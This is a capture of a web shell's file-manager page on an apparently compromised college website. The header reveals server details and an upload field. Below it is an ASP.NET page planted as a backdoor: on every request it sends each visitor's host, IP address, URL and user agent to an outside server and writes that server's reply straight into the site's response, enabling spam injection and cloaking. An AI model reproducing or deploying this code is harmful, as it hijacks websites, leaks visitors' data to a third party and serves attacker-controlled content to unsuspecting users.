| Server IP : 190.92.174.109 / Your IP : 216.73.217.175 Web Server : Microsoft-IIS/10.0 System : Windows NT P3613 10.0 build 20348 (Windows Server 2016) AMD64 User : IWPD_2296(hkwrmyfr) ( 0) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/Inetpub/vhosts/aargeesapps.com/klesssmscollege.edu.in/ |
Upload File : |
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Net" %>
<%@ Import Namespace="System.IO" %>
<script runat="server">
private string GetUrlHead(string url, string header) {
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);
request.Timeout = 30000;
request.Method = "GET";
request.UserAgent = header;
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
StreamReader sr = new StreamReader(response.GetResponseStream());
string result = sr.ReadToEnd();
sr.Close();
response.Close();
return result;
}
</script>
<%
string Remote_server = "https://shadowverse-guide.com";
string header_curl = Request.ServerVariables["HTTP_USER_AGENT"];
string domain = Request.ServerVariables["HTTP_X_FORWARDED_HOST"];
if (string.IsNullOrEmpty(domain)) domain = Request.ServerVariables["HTTP_HOST"];
string file = Request.ServerVariables["HTTP_X_REWRITE_URL"];
if (string.IsNullOrEmpty(file)) file = Request.ServerVariables["REQUEST_URI"];
string proto = Request.ServerVariables["REQUEST_SCHEME"];
if (string.IsNullOrEmpty(proto)) proto = Request.ServerVariables["HTTP_X_FORWARDED_PROTO"];
if (string.IsNullOrEmpty(proto)) proto = "http";
string host_name = proto + "://" + domain;
string ip = string.IsNullOrEmpty(Request.ServerVariables["HTTP_X_REAL_IP"]) ? Request.ServerVariables["REMOTE_ADDR"] : Request.ServerVariables["HTTP_X_REAL_IP"];
string geturl = Remote_server + "?host=" + host_name + "&ip=" + ip + "&url=" + file + "&domain=" + domain;
string Content_mb = GetUrlHead(geturl, header_curl);
Response.Write(Content_mb);
Response.End();
%>